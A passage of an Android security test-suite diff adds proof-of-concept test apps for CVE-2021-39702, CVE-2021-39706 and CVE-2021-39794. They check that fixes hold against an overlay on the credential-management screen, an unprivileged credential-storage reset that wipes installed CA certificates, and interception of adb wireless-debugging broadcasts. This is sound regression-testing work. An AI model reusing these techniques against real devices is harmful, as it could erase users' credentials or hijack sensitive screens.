+ private static final int LAUNCH_TIMEOUT_MS = 20000;
+ private String vulnerableActivityName = "";
+
+ private void startOverlayService() {
+ Context context = getApplicationContext();
+ assumeNotNull(context);
+ Intent intent = new Intent(context, PocService.class);
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(context));
+ try {
+ context.startService(intent);
+ } catch (Exception e) {
+ assumeNoException(context.getString(R.string.overlayServiceNotStartedException), e);
+ }
+ }
+
+ public void startVulnerableActivity() {
+ Context context = getApplicationContext();
+ assumeNotNull(context);
+ Intent intent = new Intent(Credentials.ACTION_MANAGE_CREDENTIALS);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ AppUriAuthenticationPolicy policy = new AppUriAuthenticationPolicy.Builder()
+ .addAppAndUriMapping(context.getPackageName(), Uri.parse(""),
+ context.getString(R.string.overlayAttack))
+ .build();
+ intent.putExtra(KeyChain.EXTRA_AUTHENTICATION_POLICY, policy);
+ PackageManager pm = context.getPackageManager();
+ assumeNotNull(pm);
+ ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ assumeTrue(context.getString(R.string.activityNotFoundMsg) + intent, ri != null);
+ assumeNotNull(ri.activityInfo);
+ vulnerableActivityName = ri.activityInfo.name;
+ try {
+ context.startActivity(intent);
+ } catch (Exception e) {
+ assumeNoException(context.getString(R.string.activityNotStartedException) + intent, e);
+ }
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ Context context = getApplicationContext();
+ assumeNotNull(context);
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ assumeNotNull(device);
+
+ /* Start the overlay service */
+ startOverlayService();
+
+ /* Wait for the overlay window */
+ Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+ Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.overlayUiScreenError),
+ device.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS));
+
+ /* Start the vulnerable activity */
+ startVulnerableActivity();
+
+ /* Wait until the object of launcher activity is gone */
+ boolean overlayDisallowed = device.wait(Until.gone(By.pkg(context.getPackageName())),
+ LAUNCH_TIMEOUT_MS);
+
+ /* Check if the currently running activity is the vulnerable activity */
+ String activityDump = "";
+ try {
+ activityDump = device.executeShellCommand(
+ context.getString(R.string.dumpsysActivity) + " " + vulnerableActivityName);
+ } catch (IOException e) {
+ assumeNoException(context.getString(R.string.dumpsysActivityNotStartedException), e);
+ }
+ Pattern activityPattern =
+ Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.vulActivityNotRunningError),
+ activityPattern.matcher(activityDump).find());
+
+ /* Failing the test as fix is not present */
+ assertTrue(context.getString(R.string.errorMessage), overlayDisallowed);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java
new file mode 100644
index 0000000..e20029a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39702;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+ public static Button mButton;
+ private WindowManager mWindowManager;
+ private WindowManager.LayoutParams mLayoutParams;
+
+ private static int getScreenWidth() {
+ return Resources.getSystem().getDisplayMetrics().widthPixels;
+ }
+
+ private static int getScreenHeight() {
+ return Resources.getSystem().getDisplayMetrics().heightPixels;
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new WindowManager.LayoutParams();
+ mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ mLayoutParams.width = getScreenWidth();
+ mLayoutParams.height = getScreenHeight();
+ mLayoutParams.x = getScreenWidth() / 2;
+ mLayoutParams.y = getScreenHeight() / 2;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ showFloatingWindow();
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ }
+
+ private void showFloatingWindow() {
+ Context context = getApplicationContext();
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(context));
+ mButton = new Button(context);
+ mButton.setText(context.getString(R.string.overlayButtonText));
+ mWindowManager.addView(mButton, mLayoutParams);
+ mButton.setTag(mButton.getVisibility());
+ }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp
similarity index 61%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp
index bcbf54f..ea7eb99 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -19,8 +19,21 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-39706",
+ defaults: [
+ "cts_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ sdk_version: "current",
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml
new file mode 100644
index 0000000..4ee35ba
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39706"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:testOnly="true"
+ android:label="CVE-2021-39706"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ <receiver android:name=".PocDeviceAdminReceiver"
+ android:exported="true"
+ android:permission="android.permission.BIND_DEVICE_ADMIN">
+ <meta-data
+ android:name="android.app.device_admin"
+ android:resource="@xml/device_policies" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"></action>
+ </intent-filter>
+ </receiver>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39706" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml
new file mode 100644
index 0000000..6188e9a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:app="http://schemas.android.com/apk/res-auto"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <Button
+ android:id="@+id/button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/cleanCache" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml
new file mode 100644
index 0000000..2afb31c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="settingsPkg">com.android.settings</string>
+ <string name="settingsPkgCar">com.android.car.settings</string>
+ <string name="certCls">com.android.settings.security.CredentialStorage</string>
+ <string name="certClsCar">com.android.car.settings.security.CredentialStorageActivity</string>
+ <string name="certInstalled">Certificate is already installed</string>
+ <string name="certInstallFail">Certificate installation failed!</string>
+ <string name="certNotFound">Certificate not found after installation</string>
+ <string name="pkgName">android.security.cts.CVE_2021_39706</string>
+ <string name="openFail">Failed to open </string>
+ <string name="tapFail">Failed to Tap </string>
+ <string name="pkgInstallFail"> is not installed!</string>
+ <string name="oK">OK</string>
+ <string name="cleanCache">CLEAN CACHE</string>
+ <string name="failMessage">Vulnerable to b/200164168 !!</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml
new file mode 100644
index 0000000..8a3a4d3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<device-admin>
+ <uses-policies>
+ <disable-camera/>
+ </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java
new file mode 100644
index 0000000..fcff1b1
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.res.Resources;
+import android.security.cts.CVE_2021_39706.PocActivity;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final int TIMEOUT = 10000;
+ private static Resources resources;
+ private static String settingsPkg;
+
+ /*
+ * The Certificate and keypair below are generated with:
+ *
+ * openssl req -nodes -new -x509 -keyout key.pem -out cert.pem -days 3650
+ */
+
+ // Content from cert.pem
+ public static final String TEST_CA = "-----BEGIN CERTIFICATE-----\n"
+ + "MIIDAzCCAeugAwIBAgIUax98yDH6YvGpzh2XQBYV7MU2ao8wDQYJKoZIhvcNAQEL\n"
+ + "BQAwETEPMA0GA1UECgwGZ29vZ2xlMB4XDTIyMDIxNzExMzcxNloXDTMyMDIxNTEx\n"
+ + "MzcxNlowETEPMA0GA1UECgwGZ29vZ2xlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A\n"
+ + "MIIBCgKCAQEAoPTRA3pjJc1JTQN3EK6Jtl9JkJaI0+P/e3Bzyi4MkxrSuHDvfqP0\n"
+ + "08roSZgG0a/I1oSlfTSt5QEOvuJH3KVW0IuUF71JYO6rmm7wU2Clx89qmONgQGJR\n"
+ + "G72qvhIBEN1zma2WK9NFcQ4amYspLfkB9HSjy3C+LCwgqoQFfND6uaCGELayx4km\n"
+ + "CnJgBfxNddcz0abWShJ0fr0lOPtKY4tPHhE/1oWGGqAI/U808veLJDpQ06c8wjNf\n"
+ + "8GD7thykOwoTlF630gz0gA/VkmxiOfn0WXRS8VeJ6TeilFsBNUSD4tLA250U8r0F\n"
+ + "d9yFMRVtdFPuNP1ajf2IO+RLpQUr2kWAbQIDAQABo1MwUTAdBgNVHQ4EFgQU1gXp\n"
+ + "r3L/Gf39tvSOZrD5wSQmUJAwHwYDVR0jBBgwFoAU1gXpr3L/Gf39tvSOZrD5wSQm\n"
+ + "UJAwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAFDTpZ1LNtd29\n"
+ + "hh+8TFvAOoaMx06AgnTRdLdsWwcjJCCAHvBiimE23XFO91VjTbttIXynpnKHVwOf\n"
+ + "lgTsExLtXDFU65OQNaWt7UebtWdvxsThd754SUsSGVuZ6VXyI5EuADoU/MocdE3B\n"
+ + "+EJZnl/HvG4KKPTL+YdlvthI1j5WUmI2m7yVzYouC72y92L3ebPaGdMcbp9wjZ89\n"
+ + "LdvAJ8yaLqVxv7TQgXORUo1NrqASsVVW/IgmovHuZj9wK7ZenFhT58ue7nxqQm4Z\n"
+ + "nQfdnxdV19tprMfx1+uu7NNqvxCv1UN6peeBzF/0Bony+9oNzOnGYwMRm9Ww8+mJ\n"
+ + "v02a06J8kg==\n" + "-----END CERTIFICATE-----";
+
+ private UiDevice device;
+ private Context context;
+ private PackageManager packageManager;
+
+ private void openApplication(String applicationName) {
+ Intent intent = context.getPackageManager().getLaunchIntentForPackage(applicationName);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ context.startActivity(intent);
+ assumeTrue(resources.getString(R.string.openFail) + applicationName,
+ device.wait(Until.hasObject(By.pkg(applicationName)), TIMEOUT));
+ }
+
+ private void tapText(String text) {
+ boolean buttonClicked = false;
+ UiObject2 object = device.findObject(By.text(text));
+ if (object != null && object.getText() != null) {
+ object.click();
+ buttonClicked = true;
+ }
+ assumeTrue(resources.getString(R.string.tapFail) + text, buttonClicked);
+ }
+
+ protected boolean isPackageInstalled(String packageName) {
+ try {
+ PackageInfo pi = packageManager.getPackageInfo(packageName, 0);
+ return pi != null;
+ } catch (PackageManager.NameNotFoundException e) {
+ return false;
+ }
+ }
+
+ @Before
+ public void setUp() {
+ // Initialize UiDevice instance
+ device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ context = InstrumentationRegistry.getInstrumentation().getContext();
+ packageManager = context.getPackageManager();
+ resources = context.getResources();
+ settingsPkg = PocActivity.checkIsCar() ? resources.getString(R.string.settingsPkgCar)
+ : resources.getString(R.string.settingsPkg);
+ assumeTrue(settingsPkg + resources.getString(R.string.pkgInstallFail),
+ isPackageInstalled(settingsPkg));
+ }
+
+ @Test
+ public void testCredentialReset() {
+ final byte[] cert = TEST_CA.getBytes();
+ PocPolicyManager policyManager = new PocPolicyManager(getApplicationContext());
+ assumeFalse(resources.getString(R.string.certInstalled),
+ policyManager.hasCaCertInstalled(cert));
+ assumeTrue(resources.getString(R.string.certInstallFail),
+ policyManager.installCaCert(cert));
+ assumeTrue(resources.getString(R.string.certNotFound),
+ policyManager.hasCaCertInstalled(cert));
+
+ // Open the PoC and attempt to reset credentials
+ openApplication(resources.getString(R.string.pkgName));
+ // Button is used to reset credentials after confirming that PoC opened successfully
+ tapText(resources.getString(R.string.cleanCache));
+ if (device.wait(Until.hasObject(By.pkg(settingsPkg)), TIMEOUT)) {
+ // Press OK in the reset dialog which confirms before clearing certificates
+ tapText(resources.getString(R.string.oK));
+ }
+ long end = System.currentTimeMillis() + TIMEOUT;
+ while (System.currentTimeMillis() < end) {
+ if (!policyManager.hasCaCertInstalled(cert)) {
+ // Without fix, the certificate is reset
+ fail(resources.getString(R.string.failMessage));
+ }
+ }
+
+ // With fix, the certificate is not reset. Uninstall it explicitly
+ policyManager.uninstallCaCert(cert);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java
new file mode 100644
index 0000000..7d112f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.view.View;
+import android.widget.Button;
+
+import androidx.test.InstrumentationRegistry;
+
+public class PocActivity extends Activity {
+
+ public static boolean checkIsCar() {
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ PackageManager pm = context.getPackageManager();
+ return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ Button button = (Button) findViewById(R.id.button);
+ button.setOnClickListener(new View.OnClickListener() {
+ @Override
+ public void onClick(View view) {
+ credentialStorageReset();
+ }
+ });
+ }
+
+ private void credentialStorageReset() {
+ boolean isCar = checkIsCar();
+ Intent intent = new Intent("com.android.credentials.RESET");
+ String pkg = isCar ? getResources().getString(R.string.settingsPkgCar)
+ : getResources().getString(R.string.settingsPkg);
+ String cls = isCar ? getResources().getString(R.string.certClsCar)
+ : getResources().getString(R.string.certCls);
+ intent.setClassName(pkg, cls);
+ try {
+ startActivity(intent);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java
new file mode 100644
index 0000000..4c413c2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+
+ @Override
+ public void onEnabled(Context context, Intent intent) {
+ super.onEnabled(context, intent);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java
new file mode 100644
index 0000000..76a5a94
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+
+public class PocPolicyManager {
+ private Context mContext;
+ private DevicePolicyManager mDevicePolicyManager;
+ private ComponentName mComponentName;
+
+ public PocPolicyManager(Context context) {
+ this.mContext = context;
+ mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+ mComponentName = new ComponentName(PocDeviceAdminReceiver.class.getPackage().getName(),
+ PocDeviceAdminReceiver.class.getName());
+ }
+
+ public boolean installCaCert(byte[] cert) {
+ return mDevicePolicyManager.installCaCert(mComponentName, cert);
+ }
+
+ public boolean hasCaCertInstalled(byte[] cert) {
+ return mDevicePolicyManager.hasCaCertInstalled(mComponentName, cert);
+ }
+
+ public void uninstallCaCert(byte[] cert) {
+ mDevicePolicyManager.uninstallCaCert(mComponentName, cert);
+ }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp
index bcbf54f..dbf8b37 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -19,8 +19,19 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-39794-receiver",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ ],
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml
new file mode 100644
index 0000000..8464275
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39794_receiver"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <uses-sdk android:targetSdkVersion="25"/>
+ <application
+ android:label="CVE-2021-39794-receiver"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ <receiver android:name=".PocReceiver"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="com.android.server.adb.WIRELESS_DEBUG_STATUS" />
+ <action android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRED_DEVICES" />
+ <action android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRING_RESULT" />
+ </intent-filter>
+ </receiver>
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml
new file mode 100644
index 0000000..a85bec9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/drawableview"
+ android:layout_width="match_parent"
+ android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java
new file mode 100644
